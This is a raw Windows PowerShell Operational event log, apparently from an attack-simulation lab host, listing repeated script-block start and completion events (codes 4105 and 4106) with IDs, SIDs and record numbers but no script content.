Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044630
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044629
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044624
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044623
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044601
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044599
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044598
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
